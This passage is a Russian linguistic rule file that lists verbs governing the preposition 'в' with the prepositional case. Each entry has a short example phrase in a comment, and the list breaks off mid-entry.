rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ 